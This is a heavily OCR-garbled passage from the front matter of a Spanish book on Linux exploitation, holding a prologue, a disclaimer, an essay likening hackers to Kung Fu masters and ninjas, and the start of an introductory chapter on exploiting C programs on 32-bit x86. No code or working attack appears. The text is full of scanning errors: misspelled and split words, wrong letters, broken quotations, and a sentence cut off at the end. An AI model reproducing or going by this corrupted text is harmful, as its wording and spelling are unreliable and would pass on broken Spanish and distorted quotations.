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Prologo 


Este  lihro  es  el  titulo  numero  27  de  la  coleccion  de  libros  que  comenzamos  haee  ya  easi  5  anas*  En 
este  periodo  hemos  ido  publicando  leeturas  dedieadas  a  muchas  materias,  pero  en  mi  mente  faitaba 
dediearle  algo  de  tiempo  a  la  parte  de  mas  bajo  nivel  de  la  seguridad  informatica.  Cuando  Blackngel 
me  propuso  realizar  este  libro  no  lo  dude  y  le  dije  que  si.  Ya  habia  publicado  algun  post  suyo  en  mi 
blog  personal  y  conocla  de  buena  manera  su  forma  de  trabajar,  asi  que  habia  que  hacerlo. 

Una  vez  visto  el  resultado,  no  me  arrepiento  para  uada  de  ello.  El  libro  que  tienes  por  delante  es  una 
gozada  de  leer,  y  con  un  buen  monton  de  ejemplos  prdctieos  con  cddigo  para  que  puedas  adentrarte  de 
manera  deflnitiva  en  este  mundo  del  exploiting  en  Linux.  Te  ayudara  a  comenzar,  pero  tambien  te 
ayudara  a  profundizar  mas  si  ya  conoees  algo  de  esta  disciplina* 

Una  de  Las  premisas  que  temamos  cuando  creamos  esta  editorial  es  que  los  libros  fueran  practices,  y 
mas  que  este  que  has  adquirido  vas  a  encontrar  pocos.  Ya  tienes  el  libro,  ah  ora  pon  el  resto.  Leelo, 
practica,  crea  tus  exploits  y  sorprendenos. 

iQuien  sabe  si  algun  dia,  en  el  futuro,  graeias  a  este  libro  que  ahora  tienes  entre  las  man  os  acabas 
batiendote  el  cobre  en  las  eompeticiones  de  Capture  The  Flag  de  las  conferences  de  seguridad  mas 
prestigiosas  del  mundo! 


Chema  Alonso 
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Descargo  de  responsabilidades 


El  libro  que  tiene  entre  sus  manos  no  es  un  arma  ni  deberfa  ser  utilizado  como  taL  En  Lodo  case  el 
autor  no  asume  ninguna  responsabilidad  por  el  uso  o  abuso  que  el  lector  pueda  hacer  del  material  aqui 
presentado. 

Todo  el  conte nido  mostrado  a  lo  largo  de  este  libro  constituye  una  serie  Lnformativa  de  teenicas  cuyo 
uni  co  objetivo  es  form  a  r  al  profesional  de  la  seguridad  a  la  bora  de  conocer  el  modus  operandi  que  I  os 
atacantes  utilizan  en  la  actualidad  para  imimpir  en  la  seguridad  de  las  aplicaciones  y  los  stslemas  de 
computo  que  los  sus  ten  tan. 

Entienda  el  lector  que  dicha  information  se  presenta  con  un  caracter  didactico  o  educacional  y  que  no 
incita  en  modo  alguno  a  cometer  actos  delicti vos  o  que  contra vengan  las  leyes  estabieeidas  en 
cualquier  ierrilorio. 

Tenga  en  cuenta  lo  siguiente:  Los  hackers  y  profesionales  de  la  seguridad  informalica  son  personas 
que  trabajan  diariamente  para  que  la  red  y  los  servicios  que  en  el  la  se  eneuentran  evolueionen  hacia 
un  punto  en  que  el  usuario  de  a  pie  que  accede  a  dichas  facilidades  no  pueda  verse  comprometido  ni 
su  privacidad  sea  violada.  El  unico  cam i no  seguro  para  proceder  es  poseer  la  misma  informacion  que 
los  delincuentes  ya  manejan  desde  hace  tiempo  y  actuar  en  conseeuencia,  eso  si,  de  un  modo 
responsable. 


El  Tao  del  Hacker 


17 


El  Tao  del  Hacker 


Solo  aquellos  que  por  cuya  curiosidad  son  capaces  de  mover  montafias,  son  los  que  logran  alcanzar  un 
verdadero  despertar.  Este  es  el  camino  de  la  sabiduna,  el  Tao  del  Hacker 

Entendemos  por  Tao  el  camino,  la  via,  el  metodo,  la  di  reed  on  o  el  curso  principal  de  toda  accion 
realizada  por  un  ente.  Estas  acciones  conducen  a  ese  ente  a  convertirse  en  algo  en  concreto,  ya  sea  un 
fildsofo,  un  guerrero  Kung  Fu,  o  incluso  un  hacker. 

Nadie  en  esta  vida  ha  pasado  de  discipulo  a  maestro  sin  recotTer  el  Tao,  sin  sufrir  sus  ohstaculos.  De 
hecho,  podemos  estar  de  acnerdo  en  que  ninguno  de  nosotros  deeidio  convertirse  en  hacker  de  un  dia 
para  otro,  sin  embargo,  llevamos  recorriendo  este  camino  durante  mucho  tiempo.  Si  miramos  hacia 
atras,  hacia  los  confines  del  tiempo,  parece  que  siempTe  ha  existido  una  Hama  que  nos  ha  impulsado  a 
hacer  lo  que  hacemos,  a  vivir  por  lo  que  vivimos. 

"Hay  un  arthelo  casi  tan  prof  undo,  cast  tan  imperioso  coma  el  deseo  de  alimentarse  y 
dormir,  y  ese  anhelo  se  ve  s  ails  f echo  muv  rara  vez.  El  deseo  de  ser  grande .  El  deseo  de  ser 
import  ante, ft 

El  hacker  tiene  como  mela  el  hallazgo  de  la  verdad,  el  descubrir  por  sus  prop i  os  medios  por  que  las 
cosas  funcionan  como  funcionan.  Para  el  hacker  se  han  terminado  las  cajas  negras,  todo  debe  ser 
analizado  y  comprendido  hasta  el  mas  insignificante  detalle.  Por  lo  tanto,  el  Tao  del  Hacker  busca 
refuglo  en  las  Tres  Joyas; 

En  los  maestros. 

-  E  n  las  en  s  enanzas . 

-  En  la  comunidad 

Un  hacker  es  una  persona  que  ha  descubierto  que  los  demas  tienden  a  conformarse  con  aquello  que  ya 
tienen  y  que  no  estan  dispuestos  a  sobrevenir  los  efectos  que  provoca  una  transicion.  Obviamente,  el 
no  desea  seguir  este  camino. 

El  hacker  ha  abandonado  su  palacio  como  usuario  normal  tras  ser  consciente  de  que  si  no  alcanza  una 
nueva  sabiduria,  todos  los  sistemas  podrian  verse  comprometidos  y  control  ad  os  por  otros.  Lo  cierto  es 
que  el  hacker  es  consciente  de  que  esto  lleva  ocurriendo  desde  el  principio  de  la  era  in  format ica.  La 
inseguridad,  tal  como  el  sufrim lento,  ha  estado  presente  desde  tiempos  inmem enables. 

Este  es  el  verdadero  principio  de  una  mente  despierta,  deshaceraos  de  todo  lo  que  conocemos,  aquello 
que  por  mucho  tiempo  nos  han  dado  como  cierto  y  comenzar  a  construir  la  realidad  desde  cero,  pura 
y  limpia, 

En  este  punto  el  hacker  partira  hacia  un  mundo  lleno  de  sombras,  renunciando  a  todo  lo  que 
anteriormente  conocia.  Se  convertira  en  el  discipulo  de  los  mejores  maestros  alcanzando  cada  vez 
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ni voles  mas  altos  de  sabiduria.  Esto  incluye  a  otros  maestros  hackers,  ya  sean  calificados  do  white  hats , 
gray  hats  o  black  hats.  El  discipulo  adaptara  el  conocimiento  de  todas  las  tecnicas  al  desarrollo  de  un 
backing  etico  limado  hasta  la  perfeccion. 

Para  el  backer  esto  no  puede  significar  un  trabajo.  Como  dijo  Confucio:  "Elige  un  trabajo  que  teguste 
y  no  tench' as  que  trabajar  ni  un  solo  dia  de  tu  vida". 

Si  es  verdad  que  todos  homos  venido  a  este  mundo  con  un  proposito  determinado,  entonces  no  cabe 
duda  de  que  el  hacker  es  una  persona  que  ha  encontrado  su  vocacion,  so  talento  especial  y  particular 
por  el  que  rnerece  la  pena  manifestarse.  Eso  significa  que  debe  aportar  mas  de  si  mismo  y  concentrarse 
en  aquello  que  hace  mejor.  Esto  beneficiara  al  resto  del  mundo. 


I.  Una  aproxlmacion  Zen 

Un  hacker,  como  persona  realmente  despierta  o  noble,  debe  dar  como  eiertas  las  siguientes  Cuatro 
Verdades: 

1 .  La  Verdad  sobre  la  existcncia  de  la  inseguridad. 

2.  La  Verdad  sobre  el  origen  de  la  inseguridad. 

3.  La  Verdad  sobre  la  posibilidad  del  cese  de  la  inseguridad. 

4.  La  Verdad  sobre  el  eamino  que  conduce  al  cese  de  la  inseguridad. 

Las  detail arem os  en  las  siguientes  lineas: 

1 .  No  se  puede  encontrar  una  solucion  si  antes  no  sc  reconoce  que  existe  un  problem  a.  Lo  primero 
que  uno  debe  aceptar  para  librarse  de  su  ignorancia  es  que  en  el  mundo  de  la  informatica  todo  es, 
en  principio,  presuntamente  inseguro.  Solo  a  partir  de  este  punto  alguien  puede  comenzar  a 
invest!  gar  sus  causas. 

2.  Existen  infinidad  de  causas  a  partir  de  las  cuales  surge  la  inseguridad.  Hoy  en  dia  asoeiamos  esas 
causas  a  los  errores  mas  comiinmente  conocidos,  esto  es: 

-  Inyeccion  de  Codigo  Arbitrario. 

-  SQL  Injection. 

-  Cross-Site  Scripting  (XSS). 

-  Falsificacion  de  Solicitud  Cross-Site  (CSRF) 

Ataques  Man  In  The  Middle. 

*  Ataques  a  protocolos. 

-  Cifrado  Inseguro. 

-  Configuraciones  erroneas, 

-  Redirecciones  sin  validar. 

-  Etc,.. 

Pern  esto  en  realidad  no  son  m&s  que  efectos,  son  la  punta  del  iceberg,  todos  estos  fallos  de 
seguridad  term i nan  retrotrayendose  a  otras  causas  mas  elementales  que  son  su  raiz,  entre  ellas: 

Conectar  sistemas  TI  a  Internet  antes  de  protegerlos. 

-  No  disponer  de  una  correcta  arquitectura  de  seguridad. 

No  actualizar  los  sistemas  y  el  software  subyacente. 
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-  No  invertiren  fomiacion. 

-  Gestion  negligent e  de  identidades. 

-  Ignorar  el  riesgo  de  alaques  internes, 

-  Hacerlo  todo  uno  mismo. 

-  Autentificacion  de  usuarios  inadecuada. 

-  No  mantenimiento  de  copias  de  seguridad. 

-  No  implantar  software  de  deteccion  de  intrusos  y/o  antivirus  (y  eonfigurarlos 
adeeuadamente), 

-  Etc... 

Si  lo  analizamos  detenidamente  terrain arem os  descubriendo  que  el  principal  problems  de  la 
seguridad  informa tica  es:  las  personas.  Las  personas  abrazamos  la  ignorancia  cuando  aceptamos  la 
ausencia  de  conocimiento.  La  ignorancia  es  la  semilla  que  germina  y  termina  dan  do  fruto  a  tod  os 
nuestros  problemas.  Solo  librandonos  de  ella  conseguiremos  cortar  de  ralz  toda  causa:  "Es  el 
a  den  tr arse  en  la  realidad  lo  que  se  logra  al  comp  render  que  la  ignorancia  puede  eliminarse”. 

3.  La  tercera  verdad  no  describe  el  camino  hacia  la  eliminacion  de  la  inseguridad,  sino  mas  bicn  que 
es  posible  eiiminarla,  y  que  ese  es  nuestro  objetivo,  su  eese. 

4r  E!  Tao  del  Hacker  es  el  camino  que  conduce  directamente  al  cese  de  ia  inseguridad,  los  medios 
necesarios  para  alcanzar  su  fin.  Podremos  caminar  entonces  a  traves  de  "El  Triple  Sendero" : 

-  El  Hacking  Etico. 

La  Correcla  ProgramacioTL 
La  Sabiduria. 

Es  de  lodos  sabido  que  existen  muehas  formas  de  realizar  hacking,  pern  solo  existe  una  division 
principal:  la  del  hacking  con  lines  constructive s,  y  la  del  hacking  con  fines  destructives.  Solo  la 
primera  de  ellas,  el  Hacking  Etico,  es  tenida  en  cuenta  en  el  Tao  del  Hacker. 

La  Correcta  Programacion  solo  se  puede  obtener  a  traves  de  ia  buena  concentration,  la  fijacion  del 
objeto  de  analisis  y  estudio  y  la  correcta  implementation  y  desarrollo;  pero  sobre  todo  mediante  la 
experiencia,  esta  es  la  que  conduce  hacia  la  sabiduria. 

La  Sabiduria  es  la  habilidad  que  se  desarrolla  con  la  aplicacion  de  la  inteligencia  en  la  experiencia,  Y 
aunque  la  experiencia  personal  es  un  mode  di recto  de  alcanzar  la  sabiduria,  tambien  lo  es  rodearse  y 
aprender  de  la  experiencia  de  los  que  ya  son  sabios,  prefiriendo  su  compama  a  la  de  los  ignorantes. 

Pablo  Picasso  dec  fa  que  la  inspiration  existia  pero  que  debia  encontrarle  trabajando,  Solo  cuando  uno 
esta  realmente  empapado  y  sienle  verdadera  pas  ion  (obsesion)  por  aquello  que  esta  haciendo,  es 
cuando  surgen  las  nuevas  ideas,  esas  que  son  excepcionales  y  que  calificamos  como  efimeros 
momentos  de  lucidez. 

Nos  gustaria  compartir  un  pequefto  extraeto  de  Eric  S.  Raymond  en  su  famoso  artfculo  How  To 
Become  a  Hacker: 

"... aprender  a  program ar  es  una  habilidad  compleja.  Pero  puedo  ade lan tart e  que  los 
libras  y  los  cursos  no  servirdn  (much  os,  tat  vez  la  mayor  fa  de  los  mejores  hackers,  son 
autodidactas).  Puedes  aprender  las  caracteristicas  de  los  lenguajes  de  hbros ,  pero  el 


20 


Linux  Exploiting 


verdadero  conocimiento  lo  adquieres  en  la  vida  real  aplicando  lo  que  ya  sahes.  Lo  que  si 
servird  es  a)  leer  codigo  y  h)  escrihir  cddigo. fi 

Los  lenguajes  de  programacion,  como  I  os  idiomas,  son  modos  de  expresion  con  el  mundo  exterior,  y 
existe  una  amplia  variedad  de  cstilos  que  nos  permiten,  esto  es  importante,  expresarnos  a  nosotros 
mismos*  Bntre  el  los  estan  los  lenguajes  imperatives,  deelarativos,  orientados  a  objetos,  orientados  a 
eventos  y  natural  es  o  especificos. 

Segun  el  Tao  del  Hacker,  todo  programador,  y  por  ende  todo  hacker,  debe  buscar  un  estado  de 
equilibrio,  de  profunda  paz  interior  y  de  aceptacion  total.  Es  decir,  para  alcanzar  la  iluminacion,  el 
satori,  el  nirvana  o  cualquier  estado  superior  de  conciencia,  no  te  sientes  en  zazen  y  programa,  eso  es 
zazen,  eso  es  Zen. 


II.  Hacking,  Rung  Fu  y  Ninjas 

Oir  hablar  acerca  de  Kung  Fu  suscita  todo  tipo  de  imageries  sobre  luchadores  orientates  repartiendo 
patadas  y  punetazos  floridos.  Kung  Fu  ha  sido  asoeiado  inequivocamente  con  el  desarrollo  y  aplicacion 
de  las  artes  marciales,  pero  su  significado  original  es  un  poco  distinto. 

El  termino  Kung  Fu  se  refiere  a  la  perfeccion  en  alguna  habilidad  que  ha  sido  adquirida  mediante  el 
trabajo  y  el  tiempo  invertido  en  su  desarrollo.  Del  cantones,  kung  (trabajo)  y  fu  (manera  correcta), 
Kung  Fu  expresa  un  trabajo  bien  heeho. 

Un  cocinero  puede  praeticar  Kung  Fu,  un  mecanico  pucde  praeticar  Kung  Fu,  asi  como  un  pintor,  un 
escultor,  o  cualquiera  que  este  dispuesto  a  alcanzar  la  perfeccion  en  aquello  que  hace.  Del  niismo 
modo,  un  hacker  practica  por  norma  general  Kung  Fu,  y  creanos,  su  Kung  Fu  es  muy  fuerte. 

La  palabra  hacking  y  la  expresion  Kung  Fu  han  tenido  la  misrna  suerte  de  controversias,  pues  muchos 
han  dicho  a  lo  largo  del  tiempo  que  la  primera  puede  aplicarse  tambien  a  cualquier  otro  arte  no 
relacionado  con  la  informatics,  si  bicn  al  igual  que  la  segunda  lo  ha  hecho  con  las  artes  marciales,  su 
significado  ha  venido  asociandose  desde  su  ere ac ion  al  mundo  de  los  orden adores. 

He  aqui  alguna  expresion  Hollywoodiense  de  lo  que  es  Kung  Fu  y,  como  no,  tambien  de  lo  que  para 
nosotros  significa  el  hacking: 

Lung  fu:  irahaja  mueho  tiempo  para  adquirir  destreza,  un  pintor  puede  do  minor  el  kung 
fit,  o  el  car  nicer  a  que  carta  came  a  diario  con  tan  fa  destreza  que  su  cuchillo  no  toca  el 
hueso,  Apr  ende  la  forma,  pero  busea  aquello  que  no  la  tenga,  aye  aquello  que  no  hace 
ruido ,  aprendelo  todo ,  y  luego  olvuialo  todo f  aprende  el  camino  y  luego  encuentra  el  tuyo 
propio.  El  musico  puede  do  minor  el  kung  fu,  o  el  poeta  que  pint  a  cnadros  con  pa  la  hr  as  y 
hace  que  Horen  emper adores,  eso  tambien  es  kung  fu,  pero  no  lo  n ombres  amigo  mio , 
por  que  es  como  el  agua ,  nada  es  mas  suave  que  el  agua ,  aun  asi  puede  destruir  la  roc  a, 
pero  no  pe lea,  fliiy e  alrededor  de  su  rival,  sin  forma,  sin  n ombre,  el  verdadero  maestro 
mora  en  el  interior,  sob  tit  puedes  liberarlo *\ 
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Existen  otras  anaiogias  que  podemos  hacer  entre  un  luchador  y  un  hacker.  En  cierto  sent i do  am  bos 
utilizan  gran  cantidad  de  defensas  y  ataques,  y  estos  ultimos,  al  igual  que  en  el  verdadero  Kung  Fu,  no 
se  estudian  con  el  objetivo  principal  de  infringir  dano  al  oponente,  sino  mas  bien  para  que  sirvan  a  su 
vez  de  defensas  y  recurrir  a  ellos  cuantas  men  os  veces  mejor  debido  a  su  poder  destructive.  Segun  el 
Tao  del  Hacker,  uno  no  lucha  en  la  guerra  cibemetica,  sino  que  lucha  para  evitarla. 

Una  de  las  similitudes  mas  destacadas  entre  hacking  y  Kung  Eu  es  que  am  has  actividades  son 
extremadamente  espectacu lares  vistas  desde  fuera  y  los  resultados  suelen  ser  devastadores,  pero  el 
entrenamiento  previo,  la  entrega,  y  el  sufrimiento  para  llegar  a  ta!  perfection  solo  se  conoee  desde 
dentro  y  con  el  paso  del  tiempo,  al  tin  y  al  eabo:  "el  c amino  hacia  lapropia  iuz y  par  cons iguienie  la 
ohtencion  de  la  paz  interior  imp  lie  a  e  nor  me  sacrificio  y  suele  comenzar  con  una  provocadora  e 
in qu ietan te  dudd ’ . 


En  la  historia  de  Jap  on,  los  ninjas  o  shinobi  eran  un  grupo  militar  de  mercenaries  (hackers)  entrenados 
especialmente  en  formas  no  ortodoxas  de  hacer  la  guerra  (hacking  al  fdo  de  la  navaja),  en  las  que  se 
incluia  el  asesinato  (ataques  de  seguridad  no  convene ionales),  espionaje  (tecnicas  de  sniffing)^ 
sabotaje,  reconocimiento  {fingerprinting)  y  guerra  de  guerrillas  (auditorias  de  seguridad,  tests  de 
penetration  e  intrusiones),  con  el  afan  dc  desestabilizar  al  ejtitito  enemigo,  obtener  information  vital 
de  la  position  de  sus  tropas  (information  gathering)  o  lograr  una  ventaja  importante  que  pudiera  ser 
decisiva  en  el  campo  de  batalla  (todas  ellas  formas  de  ataque  que  pueden  ser  entrenadas  mediante 
vvargames  en  los  que  intervienen  tecnicas  tanto  de  defensa  como  de  ataque  tales  como  Capture  the 
Flag).  Eran  entrenados  en  el  uso  del  "arte  del  disfraz"  (ocultacion,  rooikits,  backdoors  y,  en  conclusion, 
una  completa  alteration  de  los  internals  del  sistema  enemigo),  que  utilizaban  a  menudo  para  pasar 
desapercibidos  dependiendo  de  la  situation  imperante  en  el  lugar  en  el  que  se  tuvieran  que  introducir, 
a  diferencia  de  la  tipica  vestimenta  con  la  que  hoy  dia  se  les  identifica. 

Las  cualidades  de  un  hacker  son  mas  afines  con  las  de  un  guerrero  ninja  que  con  la  idea  general  de  un 
practicante  de  Kung  Fu,  en  el  sentido  de  que  ambos  son  entrenados  en  e!  "arte  de  escabullirse"  o  "arte 
del  sigilo",  para  lo  cual  los  intrusos  haeen  uso  de  practicas  comunes  como  pueden  ser  ciertas  tecnicas 
anti-forensics  cada  dia  mas  avanzadas  y  el  continuo  uso/abuso  de  zero-day  bugs/exploits  solo 
conocidos  en  el  underground.  Objetivo  final:  realizar  operaeiones  clandestinas. 

La  idea  de  que  los  ninjas  (aka  hackers),  scan  contratados  de  forma  subrepticia  por  ciertas 
organ  izaci  ones  para  la  realization  de  asesinatos  encubiertos  (ataques  de  seguridad  a  otras  comp  am  as 
enemigas  del  sector)  no  esta  tan  lejos  de  la  realidad  puesto  que  es  una  situacion  habitual  que  se  esta 
dando  continuamente  en  muchos  paises.  Muchas  botnets  actuales  y  el  uso  in  tern  o  de  los  conocidos 
ataques  DDoS  han  comenzado  con  esta  idea  en  mente  y  con  ciertos  objetivos  prefijados  en  el  punto 
de  mira.  El  objetivo  primordial  radica  en  que,  en  caso  de  ser  descubiertos,  el  intruso  negara  tener 
relation  alguna  con  cualquier  empresa  de  la  que  ex  is  tan  indicios  de  la  procedencia  del  ataque* 

Con  respecto  a  tecnicas  de  anonimato  que  tanto  ninjas  como  hackers  utilizan  a  diario,  podria  citar  las 
siguientes: 

-  Ocultacion 

-  Suplantacion 
Falsitlcacidn 
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-  Confusion 

-  Superposicion 

-  Armas  Sociales 

-  Comunicaciones  Limpias 
Simulac  tones 

-  Anti -fingerprinting 

-  Anti -forensics 
Misdirection 

Finalmente,  cabe  decir  que  la  analogia  de  Hacker  vs  Ninja  no  es  completamente  nueva,  y  ya  tenemos 
conocimiento  de  su  uso  previo  en  libros  como  "Ninja  Hacking:  Unconventional  Penetration  Testing 
Tactics  and  Techniques'1  donde  dos  profesionales  de  la  seguridad  conic  Thomas  Willhelm  y  Jason 
Andress  mezclan  todos  sus  anos  de  experiencia  en  el  sector  con  la  sabidurfa  de  Bryan  R,  Gamer  en  el 
mundo  de  las  artes  marciales,  y  en  concreto  en  las  ramas  de  Bujinkan  budo  Taijutsu  y  Ninjutsu  como 
especialista  de  seguridad. 

Una  idea  interesante  procedente  de  este  Iibro  y  que  al  punto  sirve  de  analogia  entre  profesionales  de 
la  seguridad  y  hackers,  es  la  diferencia  existente  entre  samurais  y  ninjas:  los  samurais  estahan 
turners  os  en  la  sociedad,  los  ninjas  acepfaron  que  ellos  actuaban  fuera  de  la  sociedad.  Esta  idea  puede 
verse  simbolizada  en  otra  sentencia  todavia  mas  direeta:  samurai  de  dia,  ninja  de  nocke.  La 
experiencia  nos  dicta  que  esta  es  una  decision  muy  personal,  pero  no  nos  cabe  duda  de  que  ciertos 
hackers  llevan  mucho  tiempo  viviendo  en  la  sombra.  Fama  y  rumores  aparte,  sus  contribuciones  han 
ayudado  a  evolutional  el  mundo  de  la  teen  o  login  y  la  seguridad  de  la  red  en  formas  inimaginables. 

III.  Que  nos  depara  el  futuro 

Muchas  de  nosotros  empleamos  la  palabra  hacking  en  la  actualidad  como  sinonimo  de  reto  intelectual 
en  lomo  a  cualquier  cosa  relacionada  con  la  informatics,  los  ordenadores,  dispositivos  moviles, 
embebidos,  terminates,  etc...,  pero  esto  es  una  verdad  a  medias. 

^Por  que?  Porque  hoy  en  dia  hackear  un  sistema  se  ha  vuelto  relativamente  facil,  y  por  lo  tan  to  es  un 
medio  perfeeto  para  que  las  organ izaci ones  puedan  utilizaT  a  personas  con  cierto  conocimiento, 
inclusive  low-level  hackers,  con  cualesquiera  tines  ilfcitos,  asi  como  espionaje  de  emprcsas,  ataques 
de  denegacidn  de  servicio,  robos  financieros  (tarjetas  bancarias,  phising  o  infinidad  de  ataques  man  in 
the  middle  junto  con  tecnicas  de  DNS  spoofing)  y  muchas  otras  art  im  arias  del  mundo  del  delito  virtual. 
Esto,  como  aeabamos  de  ver,  nos  aleja  realmente  de  la  definicidn  principal  de  reto  intelectual. 

Todos  sabemos  que  a  medida  que  la  tecnologia  a  van  z  a  y  abre  nuevas  fronteras,  nuevas  tecnicas  de 
hacking  saldran  a  la  luz  para  engaiiar  a  estos  sistemas,  v  esto  podria  crear  una  falsa  sensacion  en  la 
comunidad  de  que  niuchos  individuos  podrian  sumarse  ai  tan  famosojuego  del  hacking;  pero  tambien 
es  cierto  que  el  nivel  de  conocimientos  neeesarios  para  explotar  dichos  sistemas  crecera  de  forma 
exponential.  ^En  que  nos  basamos  para  afirmar  cste  suceso?  Segun  el  inventor,  cientifico  y  eminente 
futurist  a  estadouni  dense  Raymond  Kurzweil: 
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"...el  ritmo  de  progreso  (tecnologico)  no  seguird  siendo  el  m  is  mo >  segun  mis  m  ode  los  se 
esta  duplicando  cada  decada.  Si  mant enemas  este  ritmo ,  come gu  iremos  el  equivalents  a 
cien  anas  de  progreso  en  solo  veinticinco  anos ... 

...par  la  fan  to  el  sigh  XXI  sera  coma  veinte  mil  anos  de  progreso.  ” 

Si  esta  premisa  se  cumple,  solo  hackers  eon  cierto  nivel  se  sostendran  en  primera  Hnea  de  fuego  para 
aprovecharse  de  ios  fallos  y  vulnerabilidades  introducidas  en  las  nuevas  tecnologlas. 

Si  damos  por  cierto  el  hecho  de  que  entrar  en  cualquier  si  sterna  serd  una  tarea  mas  complicada  que  en 
la  actual  idad,  entonces  deberiamos  estar  de  acuerdo  en  que  la  gente  se  tomara  el  hacking  como  un 
verdadero  reto  Intel ectual,  ya  que  cualquier  alteration  de  dicho  sistema  sera  vista  como  un  logro 
personal.  Ademas,  si  dicha  alter ac ion  sirve  para  obtener  alguna  ciase  de  beneficio,  dada  la  complejidad 
del  descubrimiento,  es  muy  probable  que  este  se  mantenga  en  el  maximo  secreto  dentro  de  pequehos 
circulos  cerrados  del  underground ,  o  con  mucha  suerte  se  veran  en  congresos  de  conferencias 
especializadas. 

Todo  esto  es  muy  comrovertido.  Sabemos  que  la  mayoria  de  los  script-kiddies  todavia  siguen  en  pie 
de  guerra  gracias  a  la  capacidad  de  ciertos  programas  para  escanear  multitud  de  sistemas  vulnerables 
de  forma  automatica  e  incluso  de  la  disponibilidad  en  la  red  de  infmidad  de  ataques  automatizados, 
Parecia  que  la  implantacion  de  IPv6  acabaria  con  esta  plaga,  y  diehos  ataques  masivos  serian 
impracticables  ya  que  aquellos  pocos  que  lo  intentasen  pasarian  dias  y  dias  escaneando  intemhnables 
rangos  de  direcc  tones  vacias,  pero  es  precisamente  lo  que  hay  detras,  relojes  inteligentes,  camaras  IP, 
codificadores  de  video,  cafeteras,  y  cualquier  otra  cosa  enchufada  a  la  red  en  pocos  anos,  las  que 
permiten  ahora  pivotar  hasta  el  otro  extremo  del  mundo  para  ocultar  los  trazos. 

Recordemos:  una  persona  que  busca  solamente  obtener  un  beneficio  personal  y  egoista  no  esta 
practicando  hacking  en  absolute,  puesto  que  el  verdadero  hacker  es  aquel  que  busca  la  iluminacion  de 
los  demas  antes  que  la  suya  propia.  £1  futuro  solo  estara  destinado  a  aquellos  realmente  entregados  al 
estudio  y  dedication  al  arte,  todos  los  demas  quedaran  relegados  a  meros  observadores  del  panorama 
o  scene  hacker  del  momenta,  y  dicha  informacibn,  como  ya  hemos  mencionado,  no  sera  scncilla  dc 
obtener. 


El  Tao  del  Hacker  es  un  camino  largo,  pero  es  un  camino  hacia  3a  iluminacion  de  los  demas  y  de  uno 
mis  mo,  es  un  camino  hacia  el  conoci  in  lento  de  la  verdad,  hacia  la  perfection.  Ya  sea  la  programacidn 
o  la  seguridad  informatics  su  quehacer  diario,  hagalo  del  modo  corrector  el  hacker  tambien  puede  crear 
karma  positivo,  y  las  buenas  acciones  conllevan  grandes  recompensas.  El  ultimo  consejo  que  el  Tao 
del  Hacker  puede  ofrecerle  es  el  siguiente:  lo  que  tenga  que  hacer,  hagalo  ahora. 
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Capitulo  0 

Introduccion  al  exploiting 


El  exploiting  es  la  base  de  lodas  las  tecnicas  de  ataque  existentes  que  se  utilizan  a  diario  contra 
aplicaciones  vulnerables.  De  hecho.  si  no  fuera  por  esta  ardua  y  paciente  tarea  que  los  hackers  ban  ido 
desarrollando  a  lo  largo  de  los  arios,  frameworks  completes  y  tan  conocidos  a  dia  de  hoy  como  lo 
pueden  ser  Metasplolt  Core  Impact  o  Canvas,  no  existinan  ni  podrian  ser  utilizados  por  pentesters  y 
profesionales  de  la  seguridad  informatica  que  habitan  todo  el  globo  terraqueo.  Que  no  le  quepa  duda, 
esbt  a  un  pa  so  de  descubrir  un  maravilloso  mundo  repleto  de  estimulantes  desafios* 

El  exploiting  es  el  arte  de  convertir  una  vulnerabilidad  o  brecha  de  seguridad  en  una  entrada  real  hacia 
un  sistema  ajeno.  Es  la  magi  a  de  transformer  los  conceptos  abstractos  en  algo  tangible,  la  Have  que 
puede  abrir  todas  las  puertas.  Cuando  eientos  de  noticias  en  la  red  hablan  sobre  “una  posible  ejecucion 
de  codigo  arbitrario”,  el  exploiter  es  aquella  persona  eapaz  de  desarrollar  todos  los  detalles  tecnicos  y 
complejos  elementos  que  hacen  realidad  dieba  afirmacion.  El  objetivo  es  provocar,  a  traves  de  un  fallo 
de  programacion,  que  una  aplicacion  haga  cosas  para  las  que  inicialmente  no  estaba  disenada  (a  esto 
se  le  llama  redirig ir  el  flujo),  pudiendo  tomar  asi  posterior  control  sobre  un  sistema. 

Este  libro  voleara  todos  sus  esfuerzos  en  detallar  las  vulnerabilidades  y  posibles  exploits  que  se  pueden 
presentar  en  un  sistema  operative  GNU/Linux  sobre  una  p  lata  forma  de  32  bits  o  I A  32,  mas 
especiflcamente  la  familia  de  p  races  adores  x86  de  ia  casa  Intel,  La  discus!  on  se  centrara  sobre  los 
lenguajes  de  programacion  C  y  C++.  Otros  lenguajes  de  alto  nivel  como  Python,  Perl  o  Java  (todos 
ellos  interpretados  o  que  corren  bajo  el  sustento  de  una  maqtiina  virtual),  no  sufren  en  principio  de  la 
clase  de  problemas  que  relataremos  en  los  siguientes  cap! tul os,  debido  a  que  incluyen  en  su  diseno  e 
implementacion  comprobaciones  dinamicas  de  limites  o  bien  algunos  como  Perl  o  Prolog  son 
lenguajes  no  tipados  u  otros  que  poseen  tipado  dmamico  (no  requieren  la  declaracion  explicita  de  las 
variables  usadas  y  estas  pueden  adquirir  diferentes  valores  durante  la  ej  ecu  cion).  Advierta  que  otros 
lenguajes  antiguos  como  Fortran*  de  aplicacion  comun  en  software  de  gestion  bancaria,  han  padecido 
tarn  bien  de  problemas  de  eorrupcion  de  memoria. 

Es  cierto  que  en  la  actual idad  y  cada  vez  a  un  ritmo  mas  acelerado,  los  ordenadores  domesticos  estan 
adoptando  arquitecturas  de  64  bits  como  AMD64  o  x86_64.  Tenga  en  cuenta  que  una  vez 
comprendidos  los  metodos  aqui  expuestos,  la  diferencia  de  explotacion  entre  unos  y  otros  no  es  mas 
que  una  pequefla  fase  de  adaptaeibn  a  sus  elementos  especiflcos,  como  la  longitud  de  las  direcciones 
de  memoria  y  el  lenguaje  ensamblador  udlizado  para  disenar  los  payloads  o  she!  I  codes,  Los  conceptos 
basicos,  en  cambio,  segniran  si  end  o  exactamente  los  mismos,  Es  por  ello  que  nuestra  intencion  es 
facilitar  en  la  medida  de  lo  posible  la  introduccion  al  mundo  del  exploiting  y  de  ninguna  manera  podria 
ser  esto  posible  si  el  autor  comenzase  a  construir  la  casa  por  el  tejado. 
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Mencionar  tambien  que  la  mayoria  do  las  tecnieas  que  expondremos  han  side  utilizadas  a  lo  largo  de 
los  anos  contra  otra  clase  de  sistemas  operativos  como  Mac  OS  X,  Solaris,  FreeBSD  o  Windows,  por 
citartan  solo  algunos  de  los  mas  com  ones.  Cada  uno  ha  ido  implementando  di  versos  mecanismos  de 
